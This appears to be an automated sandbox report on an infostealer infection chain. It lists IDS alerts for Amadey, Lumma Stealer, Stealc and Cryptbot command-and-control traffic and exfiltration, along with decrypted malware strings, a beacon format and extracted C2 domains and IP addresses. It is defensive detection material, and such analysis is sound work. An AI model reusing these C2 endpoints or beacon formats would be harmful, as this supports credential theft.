Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000009.00000003.1834117278.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_a951d42c-2

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.10:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.10:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.10:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.10:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.10:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.10:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.10:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50086 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 8be8d9c4e9.exe, 0000001D.00000002.2100174927.00000000007A2000.00000040.00000001.01000000.00000013.sdmp, 8be8d9c4e9.exe, 0000001D.00000003.1966347378.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Directory queried: number of queries: 2002
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 189MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.10:49736 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.10:49744
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:49776 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.10:58540 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.10:62515 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49797 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:49799 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49805 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49813 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49819 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49825 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:49830 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.10:64125 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:49832 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49839 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49842 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49845 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49852 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:49850 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.10:59314 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49863 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49876 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49875 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:49885 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.10:49882 -> 185.185.71.170:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.10:49899 -> 185.185.71.170:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49907 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:49916 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49927 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:49938 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49948 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.10:49944 -> 185.185.71.170:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:49968 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:49976 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:49988 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:49991 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50002 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:50023 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:50040 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.10:61710 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50048 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:50056 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50057 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50045 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50071 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50079 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50086 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:50094 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50096 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50107 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50141 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:50161 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:50145 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.10:50149
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50164 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.10:64251 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50170 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:50163 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50177 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:50181 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50178 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:50174 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50185 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.10:57940 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:50169 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50193 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50192 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:50168 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50187 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50179 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50222 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50205 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50183 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50182 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50188 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:50190 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50234 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.10:50235 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:49797 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49797 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:49805 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49805 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:49863 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:49839 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49863 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49839 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49876 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.10:49813 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.10:49976 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.10:49852 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:49875 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49875 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:49972 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49972 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50045 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:50048 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50048 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.10:50065 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:50072 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50072 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.10:50096 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:50080 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50080 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.10:50090 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:49979 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49979 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.10:50107 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50141 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50144 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:50164 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50164 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.10:50142 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:50057 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50057 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.10:50187 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.10:50002 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:50179 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50179 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.10:50193 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50087 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50222 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:50177 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50177 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.10:50234 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:50170 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50170 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.10:50073 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:50235 -> 172.67.179.109:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
